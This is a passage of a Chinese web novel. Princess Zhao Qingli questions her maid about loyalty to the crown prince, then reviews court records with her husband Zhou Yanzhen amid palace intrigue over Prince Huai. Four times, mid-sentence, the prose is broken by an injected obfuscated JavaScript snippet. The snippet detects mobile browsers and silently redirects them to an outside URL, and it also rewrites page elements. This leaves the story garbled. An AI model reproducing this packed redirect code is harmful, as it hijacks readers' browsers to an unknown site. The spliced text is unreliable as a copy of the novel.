赵清漓直起懒散的身子,将皱起的衣摆抚平,又问了一句:“荀安和你说了什么?” 春桃惊讶了一瞬,说道:“公主怎么知道的?” 赵清漓没有回答她的问题,而是静静看着她,等她说下去。 春桃愣愣回过神,“噢”了两声,解释道:“荀安大人说,今日前朝形势诡谲,后宫恐怕也会因此牵一发而动全身,为了您的安全,还是少进宫为好......公主殿下,太子殿下是不是也劝您来着?他们说的是真的吗?那圣上让您出宫是不是也是为您的安全着想——” 越说到后面,春桃的语气越是急切,连她自己都发觉自己失了规矩,于是急忙住口,低头认错:“殿下恕罪,是奴婢逾矩了......” 赵清漓原以为荀安和她说了些别的什么,没想到却只是想让春桃劝自己不要进宫,这和赵辞生气的点倒是出奇的一致。 可她也着实好奇了,父皇母后尚且在世,宫中戒备森严,太子也是有实权的,一切都如从前一样,怎么如他们说的,倒好像自己每进宫一趟都有可能死在那似的,真有这么危险?还是说淮王真的要有动作了? “无妨。” 关心和试探,赵清漓还是分得清的,所以她也没有打算责罚春桃的逾矩,而是又问:“他还说了什么?” 春桃摇头:“没有了。” 赵清漓轻轻低头,掩去眸中三分失落的神情,车厢里也顿时恢复到前不久的寂静。 春桃坐立难安,两只手攥着丝绢在怀里来回摆弄,她觉得自己多嘴了,这些事她本来就不该多问,荀安大人怎么说,她怎么做就是了,可她就是没由来的恐惧和害怕,她不想死,同样也不想公主死,可她只是一个小小的奴婢,生死之事从来都做不了主。 “你觉得我和太子是什么关系?” 忽然,赵清漓清冷的声音将她的思绪拉了回来,春桃诧异抬头,发现赵清漓并没在看她,而是发呆般的目光斜斜落在窗外的街巷,街景快速划过,赵清漓的目光却始终不曾移动过,像是扎在了某个点,流露出一抹直白的伤感。 春桃怔了一下,正想回答:“兄......呃......” 下一刻,她及时捂住嘴,现在才发现这个问题的竟是如此难以回答。 兄妹么,似乎又不是。 赵清漓自嘲地低笑一声,凉声道:“看吧,你也觉得我们的关系上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999064|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得台面。” 正在春桃犹豫该怎么回应时,赵清漓倏然收回落在窗外的目光:“既如此,时至今日你依然不后悔当初的所作所为吗?” 春桃下意识的心里咯噔一下,又看到赵清漓脸上仍是淡然,并没有要和她计较的意思。 这个问题赵清漓从前就问过她,后悔吗? 扪心自问,她一直知道自己做错了,说句不好听的,她的行为与自家养的狗转头去咬自己的主人没什么区别。 但若说后悔,并没有。 就算给她重来一次的机会,她还是会这么做。 春桃深吸一口气,也顾不得考虑什么后果,只想把自己的心思坦白说出来,也省得总是压在心里难受的紧:“公主殿下,奴婢不后悔。” 赵清漓猜到她会这么说,随意点点头:“因为太子救过你?” “是!”春桃定定望着她,“太子对奴婢是再造之恩,公主对奴婢是知遇之恩,对于奴婢来说,先有太子殿下的恩情,奴婢才能有幸服侍您,所以太子之命,奴婢不敢违抗,也不能违抗。恕奴婢直言,就算没有''春桃'',也会有''夏桃''''秋桃''''冬桃'',一定会有人来做这件事,如果是别人来做,还不如是奴婢。” “哦,为何?” 赵清漓神色如常地听着,眉头都没有皱一下,看不出是信还是不信。 问到此处,她的尾音稍稍挑起,带了点好奇,像是在讨论别人的问题,而非自身。 反正话已经说到这了,春桃也想说个痛快,无论是前车之鉴还是后顾之忧,她都不想考虑了。 望着赵清漓,春桃的眼中没再露出一分一毫的胆怯,而是坦坦荡荡的开口:“太子不喜用女眷,身边都是些冷冰冰的侍卫,公主身边的人也未尝可信,就像夏荷一样,保不齐哪一天就会来攀咬公主,奴婢虽然低微愚蠢,但绝不会害公主性命,这点奴婢可以保证。” 赵清漓支起下巴看着她,若有所思:“倘若......太子要你杀我呢?” 春桃被她的话惊住,嘴巴张大了一瞬,接着她很快反应过来,笃定道:“不会!” “你怎么知道不会?”赵清漓似笑非笑,眉梢轻抬了下,接着问她,“若日后有一天我威胁到他的皇位,二者抉择,他要杀了我以明正身,你要如何做?” 若非赵辞已经在她面前露出真容,赵清漓可能还不知道他这个人原来绵里藏针,甚至他这储位都来得并不干净,而他为此又隐忍多久,更无从估计。 赵清漓只知道,他很想、很想坐那把龙椅。 没想到春桃毫不迟疑地说:“若真有那么一天,奴婢自知没有能力阻拦太子,但奴婢愿意死在公主身前。” 好听动听的话赵清漓听过不少,冠冕堂皇的话赵清漓也听过不少,如今听到春桃这么说,她还是没忍住心跳漏了一拍。 赵清漓仍旧望着她,将她脸上的一丝一毫表情变化都尽收眼底,企图寻到她说谎的痕迹,纵然现在没有,也不会因为这么短短几句话而轻信。 末了,赵清漓轻笑了下,重新倚回原处:“罢了,这话题有些沉重了,那我换个问题。” 46. 第 46 章 有个问题一直横在赵清漓心间,虽然她早已有了答案。 随着日子一天一天过去,赵清漓渐渐开始怀疑起自己的答案,她发现自己的心性越来越不坚定,又或许从一开始就没有坚定过,究竟是哪一种,她想不明白。 春桃大气也不敢喘,忐忑地等着下一个问题。 不是怕赵清漓问些什么让她难以回答的,方才那番话,她以为自己已经将想说的都说干净了。 她怕的,是那问题根本没有答案。 时间似乎静止良久,赵清漓叹了口气,微微避开春桃眼巴巴等待的目光:“......你觉得我和他,应该是什么关系?” 这个问题听起来和上一个差不多,最大的区别无非是多了“应该”两个字,对于其他人来说或许没什么不一样,但对赵清漓来说却是天差地别。 还好这个问题对春桃来说并不难回答,她认真的思考了一会儿,如实说道:“世人以为男女之事有可为有不可为,人伦纲常实乃天命之数不可违,但奴婢觉得感情之事哪里说得清楚,真心相护难得,真心相爱难得,真心拥有更加难得,那些礼数如果成了枷锁,尽数斩了便好!” 她说的时候吐字铿锵有力,理直气壮的像是在说什么大道理,全然不像平日里的春桃,不仅如此,这些话也不是她这样一个没读过书的丫鬟能说出口的。 赵清漓一面觉得她的神态好笑,一面毫不留情地戳穿她:“这副口吻,倒不像是你能说出来的话。” 春桃难为情地扯了下嘴角,坦白说道:“这的确不是奴婢的原话,奴婢是听容追大人说的,想来容追大人应该也是听太子说的吧!” 容追那张冰块脸,实在很难想象他会在感情上有这么深刻的体悟,但如果是赵辞,凭他的性格倒能说得出这种目无天序的话。 赵清漓的心沉了沉,斩了便好,说得倒是简单,这些枷锁如何能斩,又如何斩得了? 说这些话的人,现在还不是面对圣命温顺的如同绵羊一般,丝毫不敢反抗。 春桃不知道赵清漓在想什么,只看到她眉头渐渐蹙成一团,声音微凉:“你不觉得是他错了?” 春桃咬了咬唇,让她挑太子的错,她不敢。 而且,时间过去这么久,她虽然起初也觉得不大舒服,但现在看来,她也不觉得太子有什么错。 于是春桃摇了摇头,把心一横,大言不惭道:“奴婢私心觉得太子殿下没错,您也没错,若真要论起谁有错......那只能是圣上的错!是圣上用情不专、见一个爱一个!谁让他娶那么多嫔妃来着......” 若非赵清漓剜了她一眼,春桃怕是还能继续说下去。 长街上人来人往,叫卖声、人声络绎不绝,还有车马本身的响动,环境乱糟糟的,这才没让她们的对话传入旁人耳朵,但这些话断不是她一个丫鬟可以随意议论的。 “大逆不道之言。”赵清漓的提醒也是点到为止。 “是......” 春桃她们并不知道她和赵辞并非血亲,所以才能说出这样的话,赵清漓却是清楚的。 或许真如赵辞所说,是自己从来没有考虑过他,也从来没想过自己能和他两情相悦,然而心中一次又一次泛起的波澜似乎正在提醒,她的心中从始至终都有他的一个位置,也许是从今天,也许是从昨天,也许是从更早以前...... —————— 马车刚刚停稳,车梯还没来得及搭上,赵清漓摇摇手,顾不得人去扶她,扒着车厢沿角便跳了下来。 一旁的仆人倒抽一口凉气,还没来得及庆幸公主没有崴脚,又见她步子迈得极大,匆匆朝府里面进。 幸好有春桃安抚,公主这般行势汹汹不是去找驸马吵架的,众人这才舒了口气,前日太子来访的事还没落下个结尾,他们生怕公主这入宫一趟回来也要找什么麻烦。 还好还好。 府邸内院的书房,周砚枕的书搁置的整整齐齐,书案也不似那日看到的乱七八糟,干净整洁才是常态。 他不在。 赵清漓记得他的习惯,处理过的文书都会分门别类的放好,哪怕已经原件移交或者销毁,他也会留一份备案在手边。 没记错的话,那天周砚枕收到的不止一封所谓“警告信”,还有一叠厚厚的笔录,当时听说是吏部的信使她也并没在意,今日进宫一趟,才越发觉得那天在倚香楼的事与南靖也有关系。 也不知在不在这里。 “你在找什么?” 身后冷不防传来周砚枕冷静的声音,吓得赵清漓手心一抖,书信险些散落,好在另一只手及时从下方稳稳托住。 属于周砚枕的气息迅速包裹着袭来,像是被锁在一个带着凉意的怀抱,赵清漓甚至能感觉到对方颈间的墨发有一缕正落在她脸侧,发丝勾得脸颊痒痒的,让人忍不住想打颤,很不自在。 “......你在找什么?” 见她没说话,周砚枕又重复了一遍,这次的声音却近在耳边,擦着她的耳廓吐出温热的呼吸。 赵清漓稳了稳心神,接过他手上的书信,背对着周砚枕自顾自放回原处,直白地说:“找你不会让我看的东西。” 身后的周砚枕似是低笑一声:“你怎知我不会让你看?” 估摸着已经和他保持一些距离,赵清漓转过身,说的理所当然:“若你想让我看,当日就不会将那信封落款反手扣下,故意避开我的视线。” 周砚枕回忆了下,露出恍然明了的表情。 他垂眼摇了摇头,而后走到墙边的矮柜旁边,柜角边缘整齐地摞着一叠未拆的信封,他在手上翻了两下,找出赵清漓所说的那封,然后伸手递过。 书信封面,并没有落款。 赵清漓的脸上划过一丝尴尬,指尖缩在袖子里蜷了两下,没有接过,只是愣愣地盯着他伸来的手。 好像误会他了。 周砚枕轻声笑了笑,似不在意地说:“我以为这不是什么重要的东西,也没想过你会感兴趣。” 当日在刑部,他是随便找了个借口去看周慕紫是否安好,这些笔录不过是为了迎合他打着太子的旗号做事,不想出什么纰漏,但没想到刑部的人会把这种小事也告诉太子,还真的把东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999065|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西先经太子手又送到他面前来。 赵清漓迟疑了下,还是接过,小声回了一句:“多谢。” 周砚枕道:“不必谢,我只是想告诉你,下次想找什么尽可来问我,我不会瞒你。” 赵清漓狐疑地扬起脸,看到他一脸真诚的模样,一时间也分辨不出他说的是真的还是假的,毕竟他和赵辞一眼都那般善于作戏,尤其是周砚枕,他那张谪仙般的脸,任他说什么总能让人不由得多信几分。 周砚枕的眸间闪过一丝失落,他语气淡淡说道:“我想过了,纵使你不愿接受我,那就做一对相敬如宾的夫妻也,我会尽我所能保护你,帮助你,就算是对你的......弥补。” 弥补这个词眼用他的声音说说出来,总不免让她从中品出几分伤感。 或许是对他的失望积攒太多,也渐渐的没从前那样在意这个人,因此,赵清漓对他的恨意似乎也渐渐淡了,纵然不会完全抹去那些记忆,但此刻在她心中,只是觉得道歉太迟、挽回太迟、弥补也太迟了。 赵清漓点点头,又道了声“多谢”,声音比方才有底气一些,也不再避开他的视线。 信舌启封,里面是一叠小楷撰写的详尽笔录。 不得不感叹刑部的人做事的确严谨,他们还真是将审讯过程写的一字不落,连语气词都清清楚楚记下,如同民间撰写的话本一般,不能再详细了,难怪这些薄如蝉翼的宣纸送到手里仍是这么厚厚一摞。 看着赵清漓十分小心地审阅,眉目建带着谨慎,生怕漏了什么重要信息似的,周砚枕沉吟了下:“今日进宫,你可是听说了什么?” 赵清漓偏头瞧他一眼,面上顿了顿,没回答他的问题,而是反问:“这封信在你手里多时,你为何不看?” 与周慕紫有关的消息,他应该很关注才对。 周砚枕默了默,道:“我知道这件事和她无关。” 因为信任所以安心,因为安心,因此无需再看。 也是,周砚枕若想知道更多详尽细节,他大可以直接去问周慕紫,一封信而已,刑部都放人了,他的确没什么必要再看了。 想到这点,赵清漓也默默收起那叠笔录。 笔录中并没什么特别的信息,若真有,这些文字也不会轻易流传出来,但她还是记下了一些内容。 数年前,季云柔一身沧桑,像是跋山涉水才辗转来到上京,彼时的她面目可憎,手上、颈上,凡是露出的地方皆是可怖伤痕,皮肉萎缩,难看至极,许是为了隐瞒行踪,她悄悄潜进这座女子流客众多的倚香楼。 当她闯入一间闺阁,周慕紫正在房里,那时她恐怕没想过“季云柔”这个名字早已被记录在册,便用这个名字与人攀谈几句,顺便讨口茶水喝。 时过境迁,当日无人在意的小事重现,这次她仍是来到倚香楼,却不甚掉落随身佩戴的南靖挂饰,只是这次她的运气不好,那东西被眼尖的客人捡到,因为样式没见过,便想着去当铺抵押了去,一来一回,就传到了刑部那里。 季云柔,这些年里她究竟在做什么,若只是为了生存,为何又回到这里...... 47. 第 47 章 她微小的神色变化被周砚枕尽收眼底。 通敌的罪名不会和周慕紫扯上什么罪名,但既然能让赵清漓也如此上心,恐怕和她亲近之人有关,说到这里,周砚枕只能认为是宫廷内部出了问题。 加之先前发生过的事,以及他近日所查,思来想去,他脑海中只能想到两个人:赵端、赵齐。 周砚枕停顿了下,说出他的猜测:“事关淮王,还是六殿下?” 赵清漓随即看了他一眼,眸中的惊讶之色迅速消逝。 差点忘了,周砚枕可是在帮赵辞查他们二人之间的联系,季云柔这个名字他也比自己知道的更早。他这么聪明,怎么会猜不透这点。 既然如此,再瞒下去倒显得自己不自量力。 赵清漓点头,避重就轻道:“今日回宫见六哥忙得焦头烂额,兴许就是因为这个。” 周砚枕沉吟片刻,带着一点疑惑:“圣上心思的确让人捉摸不透,我原以为他对六皇子有疑,此事理应让太子或淮王督办,却没想到却让六皇子亲自为自己洗清嫌疑。” 赵清漓听后淡淡说道:“众口铄金,六哥不着调惯了,父皇此举也是为了服众,好让朝臣对六哥有所改观。” 周砚枕惯是看不过赵齐行事的派头,于是轻蔑一笑:“若真是如此,又怎会让淮王一并参与其中。” 他怎么会知道这些? 赵清漓不由得抬眉,望着他幽幽开口:“看来除了成为太子的眼线,周大人自己也培养了不少眼线。” 提到这一茬,周砚枕低头笑了笑,并不是很在意。 他为太子做事,信息互通都是应该的,即便现在发生这些变故,但除驸马府诸人以外,还没有什么人知道他和太子闹翻的事,未必会影响什么。 再说他们也的确不算闹翻,至少明面上不算。 “朝堂本就是一张巨大的关系网,有时候牵一发则会动全身,只是自保就已经让人疲惫了。” 周砚枕知道她并不能对这些话感同身受,也没指望她了解自己的身不由己,垂下的眼眸闪烁几下,而后抬起,回到方才的话题:“根据我所掌握的消息,淮王在六皇子的事上早就下了暗手,这些......想必太子已经告诉你了。” 赵清漓点了下头。 淮王的动作她已经知晓,虽然猜测他是为陷害赵辞夺得储位这事还有待验证,但现在来看那些并不要紧,谁想要这个皇位都不要紧,她只想知道淮王有没有和瑄亲王暗联,有没有和南靖遗民勾结,有没有......谋反之心! 那叠信纸被她攥在掌心,越来越紧,很快起了皱,如同她焦虑难安的心情一般无法抚平。 周砚枕叹一口气,从她手中慢慢抽走那封捏皱的信,指着一处几乎每张都出现的那个名字——季云柔。 “本该出现而未出现在玉牒上的姓名有几种,一种是犯了重罪被划去的名字的,一种是虽有皇室血脉但来路并不光彩的,还有一种,是后人在编修玉牒之时不小心将此人姓名给遗漏了。”周砚枕将目光转回她的脸上,问道,“你觉得季云柔属于哪种?” 若季云柔真是犯了重罪,那么有她落款的书信不会频频出现在宫廷内,听赵齐所言,信件表明她是安稳生活在后廷多年的。 若说是后人编修失误则更不可能,季云柔不是作古之人,也不是刚出世未命名的襁褓婴孩,算起来她倒是与父辈们年纪相仿。 似乎只剩下第二种,也是赵齐以为的原因。 赵清漓却觉得还是不对,许是因为她自己就并非皇族血脉,她深知皇室之人将颜面看得有多重要,因此永元帝才执意隐瞒她的身世,对人皆称她是皇后嫡出,给她最尊贵的公主身份。 季云柔既没有被远送,又好好的、光明正大的生活在南靖宫中,她不该是什么见不得光的人。 赵齐他们不知道这些,赵清漓却没办法不多想。 周砚枕勾勾唇,将手中书信像揉废纸一样叠作一团。 这样还不够,在赵清漓诧异的目光下,他走到烛台边,火舌正吞吐的热切,他却抬手把那些易燃的纸页送去火芯。 “你......” 赵清漓见状下意识要阻止,脚步抬起的瞬间,陡然想到这些东西既已露像,若是不能收好,倒不如烧个干净,话刚说了一个字,便又作罢。 现在它们才真成了废纸一团,呛人的碎屑烟灰正在慢慢融化,周砚枕搁下那些灰烬丢进铜炉,转手继续去烧剩下的。 背对着赵清漓,周砚枕一边处理这些信件,一边问她:“其实你也觉得那些理由都解释不通,对不对?” 赵清漓几乎没有犹豫,立刻回答:“是。所以你方才说的都是本该出现而未出现的,还有另一种——” “本就不该出现的。” 异口同声的答案宛若天成相互应和,恰如他们都曾幻想过的心照不宣的景象。 短短七个字,声音不大不小,却让对方都小小吃惊了一瞬,气氛骤然凝住。 少顷,周砚枕笑了一声,微小的声音打破这份尴尬,他转过身:“如果是本就不该出现在玉牒上的姓名,那才真的是无从查起。” 昔日南靖皇族被剿的干干净净,理论上没有留下任何活口,上到七十岁老妇,下到尚在襁褓的婴孩,没有放过任何一个。归顺的臣民中也并未透露出皇族还有遗留之人,若非那些落款都是真真切切的,恐怕连永元帝都会以为自己发癔症了。 所以,季云柔并非皇族,但很可能是皇族亲信。 “你的确变了很多。” 清冽的声音把赵清漓重新拉回现实。 她的脸上还挂着怎么都想不明白其中牵扯的懊恼和茫然,一抬头,正望进那双如月一般安静澄澈的眸子,却不带月的寒意,柔柔的,夹杂着晦暗不明的情愫。 赵清漓呆愣了片刻,还在回忆他方才说了什么,只见对面那人带着浅浅笑意,修长的食指缓缓抬起,来到她的额前停住,温热的指尖似是轻轻触碰了她的额头。 但这触感很快消失,下一刻,赵清漓看到他收回落下的手臂。 周砚枕在她额前点了一下。 什么意思? 还没等她想通,周砚枕自顾自开口:“有的人会喜欢从前不喜欢的食物,喜欢从前不喜欢的东西,有的人会厌恶从前很喜欢的事,厌恶从前很喜欢的人。” 这话听得她心中警铃大作,柳眉微微蹙起,不着痕迹地朝另一个方向挪了挪。 周砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999066|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕扫过她的表情,加深笑意,继续说道:“人性善变是常态,或经时间蹉跎,或经生死考验......” 说话时,周砚枕的眼神像是一道沉重的锁链紧紧纠缠着她,又重又冰凉的铁具压的她喘不过气来。 赵清漓眉头越皱越紧,手指不自觉地弯着掐住自己,似乎这样才能保持理智,但她的声音已经没那么稳重,不耐烦地打断他:“你到底想说什么!” 眼前的人儿身形娇小,比自己矮了许多,她瞪着自己的样子像只炸毛的狸奴,支起自我保护的架势和姿态。 他还什么都没说,却弄的好像欺负了她似的。 越是如此,偏偏更加印证他的判断。 周砚枕注视着她,一步一步靠近,同时清晰地说道:“我想问,殿下属于哪种?或者我应该问殿下......” “殿下如今,还是殿下吗?” 咣当—— 盛满纸屑烟灰的铜炉砸落地上,石板地面,双耳的铜器骨碌骨碌滚了两圈,最后在她脚边躺稳,灰屑撒了一地,有些落在她的鞋尖裙角上,灰白的颜色落在她的朱色衣裳,更显得尘埃污秽。 她太紧张了,以至于不知道什么时候退到桌边,失手拂落了桌脚的铜炉。 旁的事都不会引起她这么强烈的反应,唯独这件事,除了对赵辞外,她以为应该是个秘密。 不! 它就该是个秘密! 纵然她的心中波涛翻涌,周砚枕仍在目光灼灼的盯着她看,像是一定要等到一个完整的回答才肯罢休。 赵清漓心虚地垂眸眨眨眼,勉强挑起唇角的弧度,抬起眼皮顾左右而言他道:“你这话倒是有趣,我不是我,还能是谁?” 周砚枕探究的眼神凝固了片刻,时间很短,赵清漓却觉得全身都结冰了一般,麻木的很,要不是撑在背后桌面上,她恐怕已经脚软了。 说起来,他的眼神并不算可怕,连狱中审讯的人十分之一都不及,但却是直白和钻心的,像是能把人看穿,无论你想如何去藏都无处可藏的感觉。 他的中丞之位绝非徒有虚名。 短暂的片刻终于过去,周砚枕突然撤回了目光,低头弯了弯唇角,再抬头时已恢复先前的柔和:“是,你还是你。” 赵清漓突然和他沟通起来很是费力,她居然听不懂周砚枕在说什么。 “赵清漓变了,但赵清漓一直都是赵清漓。”费解之际,周砚枕轻声说道,“无论在什么时候,你都不会借自己的身份施压,这一点,你始终没变。” 记忆中的赵清漓有时会娇惯一些,但从未拿出公主身份压力过他,即便是从前对他示好,也是凭着一腔真心,满心喜欢地待他好。 从成婚那天直到方才,他一再踏出底线践踏她的真心,但她依然将他作为一个平等的、有思想的人来对待,而不是像其他人那样对他施压。 这一点,圣上做不到,太子做不到,淮王做不到,六皇子做不到,这朝中但凡位高于他的人都未曾做到,他就是这样一路顶着四面八方的威胁和利用走到现在,回首却发现,有一个人始终如初,将他当作一个“人”来看待。 于是他说:“赵清漓,我知道晚了,但你现在信我,还不晚。” 48. 第 48 章 人不会无缘无故突然改变自己的性情,周砚枕知道,除那件事外,在她身上一定还发生过什么。 但好在她还是她,所以无论发生过什么,都不重要。 落在地上的双耳铜炉还孤零零地躺在赵清漓的脚边,看起来非常的无措,和一旁站着的少女一样无措。 周砚枕弯下腰,长指探上炉身,轻而易举将它捡了起来,炉口的灰烬扑簌簌掉着,洒在地板上,看起来像是泛着银箔。 他的语气恢复如常:“殿下衣裳脏了,先回房里换一件吧,这里交给我来处理。” 周砚枕是个很细心的人,他的细心并非针对赵清漓一个人,而是面对所有的一切,这也是他为自保养成的习惯。 同时他更是一个聪明人,知道什么时候应该把话说破,什么时候应该点到即止。 这一点,赵清漓也很清楚。 周砚枕在给她铺台阶,同样也是给自己一个台阶。他知道赵清漓不想再继续这个话题,自己也不想把关系闹得僵硬,或许停在这里就是最合适的。 周砚枕的手指上沾染许多纸灰,宽大的袖口内襟也不小心蹭上一些,他倒是没嫌脏,一点一点将那些没烧干净的再点净,直到看不见任何字眼,这样才能安心。 赵清漓转过身望着他的背影,凭心问了一句:“你也相信六哥不会做那种事对吗?” 周砚枕“嗯”了一声,头也没抬:“我并非信他,只是觉得他没那个脑子。” 赵清漓忍不住嘴角抽了抽,周砚枕的话是不好听,但却没说错。正因为“私联、通敌、陷害”这些字眼都太重,凭赵齐的资质是完全做不出来的,即便他想,也没有那个能力。 那么淮王的可能性就更大了一点。 赵清漓明白他的意思了,想了想,轻声说道:“多谢,周砚枕。” —————— 眼看就要进入冬月,贵妃的生辰也快到了,宫里早早就开始筹备着,随着时间越来越近,后宫的人还在陆续准备,上下忙作一团。 生辰宴的宴帖却早早送至驸马府,周砚枕从宫人手中接过,草草看了一眼便合上。 赵清漓睡醒出来时,宫里来的车马刚刚离开,还赶着去送下一家。再朝门外张望一眼,人已经消失在门前。 她走过去,一眼就注意到了周砚枕手中的生辰帖:“这是什么?” “惠贵妃的生辰。”周砚枕意味深长地看了她一眼,道,“下个月初四。” 还有八日。 赵清漓摇摇头:“送这么早,是担心咱们忘了么?” 周砚枕沉吟了下,道:“许是......收帖的人太多,恰好把你放在前头。” 收帖的人太多? 这话说得意有所指似的。 偏头望去,周砚枕也正瞧着她。 赵清漓狐疑道:“你想说什么?” “门口风大,进去说。”周砚枕抿唇笑了笑,顺手将请柬交给下人收起来,自然地牵过她的手腕。 他没有直接触碰她的手,而是隔着几层衣料去握她的手腕。 肌肤相亲对他来说是奢侈的,他不敢,但这样也足够了。 赵清漓哪里知道他在想什么,还一门心思等着他回答自己的问题。 不过是个千秋宴,每年都要过的,今年又有什么不一样? 耳房里,日光隔着窗子把屋里晒得正暖,赵清漓被他拉着进去。 “下次出来记得把披风带上。” 这句关心分明正常的很,却又莫名让赵清漓觉得突然,寂静的耳房里只有他们两个人,很快的,赵清漓觉得全身不自在起来。 她默默抽回自己的胳膊,在榻上端正坐好,大约是因为心中觉得不自然,坐姿看起来乖巧的有些局促。 想了想,她还口道:“你不是也没穿?” “我倒是不怕冷。”周砚枕说完,找了她对面的位置坐下,隔着榻上的小几注视着她。 他的眼神看起来清清白白,似乎只是为了能看到她,没有掺杂一丝杂念,简单又美好。换作以前的赵清漓,这样的场景足以让她欢喜到在夜里辗转难眠。 短暂静默后,赵清漓扬起下巴,一本正经地打破沉默:“方才你说惠贵妃生辰会宴请许多人?” 往日贵妃生辰宴上,除了身处后宫的众人和皇亲贵胄,最多再邀请些她的亲信,其实这样人数依然不算少,因此朝中大臣少有出席,只有三品以上才有可能被宴请。 国母千秋尚才宴请百官,但却从来不铺张,她身为贵妃,低皇后一等,自然不能比她还张扬。 周砚枕颔首,目光落在手边的黑檀棋盅,玉石雕磨的黑白棋子各在一盅安稳放着,他长指一挟,从中拾起一颗黑子,放在两人面前的棋盘中间,接着又捏起一颗白子放在第一颗黑子旁。 一来一回,很快布成一个简单的残局。 周砚枕扬唇笑了笑,对赵清漓道:“你觉得这盘棋,是黑子胜还是白子胜?” 赵清漓低头看了一会儿,黑子白子表面看来势均力敌,但实际上白子却占上风,不出三步就能吞噬大片黑子,这样下去取胜是迟早的事。 按照心中所想,赵清漓答道:“白子。” 周砚枕点点头:“黑子虽然先落,看似抢占了先机,但不如白子运筹帷幄,后来居上——” 说到这里,他停顿住,微微抬头,询问的目光望向赵清漓:“你觉得,太子是黑子还是白子?” 嗯? 方才不是在说贵妃生辰的事,怎么又扯上了棋局,又从棋盘上牵扯出太子? 赵清漓有些纳闷,不过她还是认真思考了一下:“应该是白子吧。” 赵辞没有永元帝的偏爱,没有高贵的出身,在这场权势斗争中,他从来不是抢占先机那个人,反倒是后来居上更适合他的处境,况且,他的确胜券在握了。 周砚枕听罢不置可否,他没有立刻给出自己的意见,而是又问:“既然如此,那你觉得黑子又代表了谁?” 这...... 如果说白子是赵辞,那黑子是淮王吗,所以周砚枕是在隐晦地告诉自己淮王的确隐藏了锋芒,实际已经站在了太子的对立面? 总觉得好像不太对。 但若说不是淮王,又能是谁?总不至于是已经贬黜朝中的瑞王吧! “你想说是淮王?”周砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999067|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕眼中带着一丝警醒,似乎是在告诉她再用心想一想。 赵清漓没说话,她捏起一颗白子,那颗泛着光泽的白玉石和周砚枕指尖的颜色一黑一白,形成鲜明的对照。 她抬起头,目光直直望向对面的周砚枕,道:“他不是白子,他是执棋人。” 她终于明白究竟哪里不对,赵辞那个人看起来低调谦和,总是笑盈盈的,实则绵里藏针,他才不会做别人手里的棋子。 “你很聪明。”周砚枕赞许地瞧了她一眼,继续说,“这张棋盘是太子布局,不论是我,还是其他为太子做事之人,我们作为纵线横线织成棋局,而我手中的黑子才是淮王。至于你手中的,是自以为是执棋人的淮王,所以这场棋无论如何下,下到什么时候,输的都一定是淮王。” 周砚枕不会无端在贵妃生辰宴这件事上一直提起淮王,因此,赵清漓很快联想到此次宴请的宾客中应当有贵妃着意邀请的人,或者说是贵妃和淮王母子着意邀请的人。 贵妃她兴许想看赵辞吃瘪,不过瞧这意思,这算盘怕是打得落空了。 赵清漓忽的释然一笑,明白了他话里的玄机:“没想到你现在还如此为太子着想。” 周砚枕摇了摇头,坦白地说:“我没有为他着想,只是太子失势,我也会受牵连,在没有完全摆脱控制以前,我不会做任何对自己不利的事。” 没想到他会这么的坦诚表达自己的想法,自私而又现实的想法。 赵清漓露出一丝诧异,又听到周砚枕的声音。 “说实在的,我很想看他失误一次。”周砚枕抬起双眼,直白的眼神在她的眸色中形成倒影,“你不问我,贵妃大费周折宴请许多不相干的人,其中主角是谁?” 不必问了,她已经知道了。 赵清漓微不可微地掀了掀唇角,语调微凉:“秦雪霓。” 吐出这个名字时,她的眼尾露出几分讥讽。 此时此刻赵清漓才想通为何父皇突然要为赵辞指婚,定是惠贵妃和淮王串通一气,又在父皇枕边吹了耳旁风。 左不过是打着为了自己和太子名声的旗号为赵辞先定下一门婚事,反正贵妃她们吃定赵辞为了明哲保身必定要吃这个哑巴亏。吏部尚书官职低微,结亲之事并不能为赵辞提供任何助力,相反的,淮王的确疑心赵辞和她有染,这么做无非是故意恶心赵辞。 